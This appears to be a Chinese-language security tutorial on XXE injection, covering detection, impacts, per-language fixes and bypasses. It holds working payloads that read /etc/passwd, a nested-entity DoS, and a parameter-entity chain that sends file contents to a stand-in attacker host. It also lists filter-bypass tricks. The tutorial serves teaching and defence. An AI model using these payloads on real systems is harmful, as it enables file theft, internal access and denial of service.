一、漏洞原理
1.1 核心
XXE(XML External Entity injection),名为XML外部实体注入。其核心在于XML解析器默认允许外部实体/DTD,攻击者通过构造特殊的XML使其包含恶意外部实体。外部实体可以为服务器敏感文件,也可以为网络请求等,之后利用方式类似于文件包含和SSRF,有时甚至可以间接RCE(少见)。
1.2 原理详解
想彻底了解XXE,需要知道XML和DTD。
1.2.1 XML介绍
XML详细学习地址:https://www.runoob.com/xml/xml-tutorial.html
XML结构类似于HTML,都主要由元素(标签)和属性组成。XML推荐使用元素(标签)而非属性来传递信息。XML需要在开头有一个声明,然后有一个根元素涵盖其他元素。如下例
<?xml version="1.0" encoding="UTF-8"?> <!--xml声明-->
<note> <!--根元素--><to>Tove</to><from>Jani</from><heading>Reminder</heading><body>Don't forget me this weekend!</body>
</note>
上述第一句为声明,note为根元素,其他的to,from,heading,body为其他元素,可以用来传递信息。元素和元素中的内容可以类比于JSON中的键值对。
1.2.2 DTD介绍
DTD详细学习地址:https://www.runoob.com/dtd/dtd-tutorial.html
DTD是XXE漏洞不可或缺的部分。DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。我们主要用到的DTD的实体。实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体分为内部实体和外部实体,分别类似于SSRF的本地/远程文件包含。一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号。通过引入外部实体,我们就可以达到读取敏感信息乃至RCE。
实体声明:
<!ENTITY entity-name "entity-value"> <!--内部实体声明-->
<!ENTITY entity-name SYSTEM "URI/URL"> <!--外部实体声明-->
例子:
<?xml version="1.0" encoding="UTF-8"?> <!--xml声明-->
<!DOCTYPE author [<!ENTITY writer "Donald Duck."> <!--内部实体声明--><!ENTITY xxe SYSTEM "file:///D:/1.txt"> <!--外部实体声明-->
]> <!--DTD部分-->
<author>&writer;&xxe;</author> <!--xml部分-->
二、检测与危害
XXE通常发生在后端的XML解析而非浏览器XML解析,由于很多后端可以自动切换对XML和JSON的解析。因此,虽然目前多是以JSON格式作为数据传输的方式,将请求头中的Content-Type改为application/xml后,或者一些老旧的系统,也有一定可能触发XXE。
2.1 检测方法
总体思路:先定位能提交 XML 的输入点 → 验证服务器是否解析 XML → 逐步注入实体(内置/外部/参数化) → 观察回显/DNSlog记录。
2.1.1 定位 XML 输入点
(1) 查找 Content-Type:在抓包/代理(Burp/Proxy)中观察请求头是否存在 Content-Type: application/xml
、text/xml
、或 application/soap+xml
;
(2) 查找接口类型:SOAP 服务、SAML 参数(SAMLResponse)、文件导入(.xml)、RSS/Sitemap 导入、第三方集成、消息队列(XML 消息)等通常是高优先级;
(3) 前端检查:F12 → Network,查看请求体是否为 XML,或检查提交表单/上传是否接受 XML 文件。
2.1.2 有回显检测
(1) 基本步骤:在确认输入被解析后,先注入简单的内部实体做回显测试。观察HTTP 响应体是否包含 /etc/passwd
内容、异常堆栈或解析错误回显。
(2) 内部实体样例(读取本地文件):
<?xml version="1.0"?>
<!DOCTYPE r [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<r>&xxe;</r>
2.1.3 无回显外部实体检测
(1) 思路:把外部实体指向你能控制/监听的域名(常常用DNSLog)。发送XML后查看自己的dnslog有没有记录就可以知道能不能引用外部实体了。
(2) 示例:
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY remote SYSTEM "http://your-collab-id.oast.site/">
]>
<r>&remote;</r>
2.1.4 DoS(一般测试时一定不要用!!)
(1) 示例:
<?xml version="1.0"?>
<!DOCTYPE lolz [<!ENTITY a "aaaaaaaaaa"><!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"><!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;"><!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
]>
<lolz>&d;</lolz>
2.1.5 协议/解析器差异测试
(1) 测试多种 scheme:file://
、http://
、https://
、ftp://
、ldap://
、gopher://
(部分解析器支持)。
(2) 不同解析器对 DTD/外部实体的默认策略不同(Java、.NET、libxml、lxml 等),需尝试多种 payload 形式与嵌套方式。
2.1.6 代码审计
(1) 查找 XML 解析相关 API:DocumentBuilderFactory
、SAXParserFactory
、xml.etree
、lxml
、libxml2
、SimpleXML
等调用;
(2) 检查解析配置:是否启用 DTD/外部实体、是否有禁用 DOCTYPE
、是否使用安全库(如 Python 的 defusedxml
);
(3) 检查输入来源:是否直接解析用户上传/外部来源的 XML,或是否在未过滤的情况下处理 SAML/SOAP。
2.2 危害
XXE的危害与文件包含漏洞和SSRF相似,具有很多交叉和重叠的地方。具体如下所示。
2.2.1 本地文件读取
- 说明:通过
file://
实体读取服务器文件(如/etc/passwd
、私钥/etc/ssl/*
、配置文件、/proc/self/environ
等)。 - 风险:凭证、配置、私钥泄露可能导致持久化入侵或 RCE(配合其它漏洞)。
2.2.2 实现SSRF
- 说明:外部实体指向
http://internal:port/...
等,就类似于一个SSRF了,详见https://www.cnblogs.com/L-xy/p/19084683。 - 风险:发现并利用内部管理接口、横向移动、获取临时凭证或敏感信息。
2.2.3 数据外发
用 HTTP GET 把数据放到 URL(query 或子域)
利用参数实体 / DTD 链把本地文件内容拼接进一个外部实体的 URL,然后解析器访问此 URL(通常是 GET)。攻击者的服务器在访问日志中看到请求并从 URL 或 Host 部分得到信息。下例用到了参数实体。
payload:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % exfil "<!ENTITY send SYSTEM 'http://attacker.example.com/?p=%file;'>">%exfil;
]>
<foo>&send;</foo>
解释流程:
%file 被解析为 /etc/passwd 内容(参数实体值)。
%exfil 是一段字符串,定义了一个通用外部实体 send,其 SYSTEM URL 包含 %file 的值。
%exfil; 在 DTD 中展开,定义了 send。
正文 &send; 会触发解析器去请求 http://attacker.example.com/?p=
这样就把文件内容通过 URL query 发给了你控制的域名。
2.2.4 DoS(实体膨胀 / 资源耗尽)
- 说明:通过嵌套实体或大量实体导致解析器内存/CPU 消耗)。
- 风险:服务不可用、资源耗尽,影响可用性。
2.2.5 间接 RCE(链式利用)
- 说明:XXE 本身读取的是文本/资源,若读取的内容被后续当作代码/命令/模板处理(例如写入并
include
、传给不安全的模板引擎或反序列化器),可导致远程代码执行。 - 风险:高危,通常需要系统中存在其他弱点配合(文件写入、不安全的 eval/include 等)。
三、修复与绕过
3.1 禁用DTD--首选
做法(示例)
- Java: 在
DocumentBuilderFactory
/SAXParserFactory
上设置disallow-doctype-decl=true
,并关闭外部实体特性(见下)。 - .NET: 用
XmlReaderSettings
,DtdProcessing = DtdProcessing.Prohibit
。 - Python: 使用
defusedxml
(如defusedxml.ElementTree
)来解析非受信任 XML。 - PHP: 避免开启远程包含;用
XMLReader
/DOMDocument
时传入LIBXML_NONET
等选项以禁止网络访问;尽量避免allow_url_include
。
绕过手法
- 攻击者用参数实体 + 远程 DTD(
%remote;
)链式注入,以在 DTD 中插入更多声明,尝试在某些解析器/配置下触发外联。
3.2 使用“安全XML库/API”而不是默认解析器
做法
- Python 用
defusedxml
,Java 显式设置安全特性或使用安全包装器,PHP 用XMLReader
/libxml
的安全选项。
3.3 限制scheme协议(file://, gopher://等)
做法
- 在应用层过滤或白名单允许的 schemes(只允许
http/https
到特定域)。
绕过手法
- 攻击者会尝试替代协议(
gopher
用于构造任意 TCP payload 包括 POST;ldap
、ftp
、jar
、zip
、data
、php://
等 wrapper)或利用协议混淆(URL 编码、大小写变种、16进制,IPv6/decimal 表示法等)。
3.4 白名单/黑名单化
做法
- 对上传的 XML 文件做内容扫描,阻断包含
<!DOCTYPE
、ENTITY
的请求体。
绕过手法
- 攻击者使用分段/编码/断行、嵌套远程 DTD、参数实体等技巧隐藏
<!DOCTYPE
,或把 payload 放在合法元素里的 CDATA,绕过简单的 blacklist。 - 利用非标准编码/UTF tricks、实体转义(
<!DOCTYPE
)然后某些解码流程会还原并触发解析。
四、补充说明
4.1 参数实体
DTD参数实体与通用DTD实体相比,更加的隐蔽,有时候能够达到绕过的目的。
- 什么是参数实体(Parameter Entity)
在 XML DTD(文档类型定义)中,实体(Entity)分为两类:
- 通用实体(General Entity):在 XML 文档的内容中使用,例如
。 - 参数实体(Parameter Entity):只能在 DTD 内部使用!!!,主要用于 DTD 结构的复用、组织和简化。
参数实体用 百分号 %
来定义和引用。
- 定义参数实体
语法:
<!ENTITY % 实体名 "实体值">
示例:
<!ENTITY % commonAttrs 'id ID #IMPLIED class CDATA #IMPLIED'>
这里 %commonAttrs;
就定义了一组属性声明,可以在其他元素声明中复用。
- 引用参数实体
引用方式:
%实体名;
示例:
<!ELEMENT book (title, author, year)>
<!ATTLIST book%commonAttrs;
>
等价于:
<!ELEMENT book (title, author, year)>
<!ATTLIST bookid ID #IMPLIEDclass CDATA #IMPLIED
>
- 外部参数实体
参数实体不仅能定义在 DTD 内部,还能引用外部文件,便于模块化。
<!ENTITY % externalDTD SYSTEM "file:///etc/password">
%externalDTD;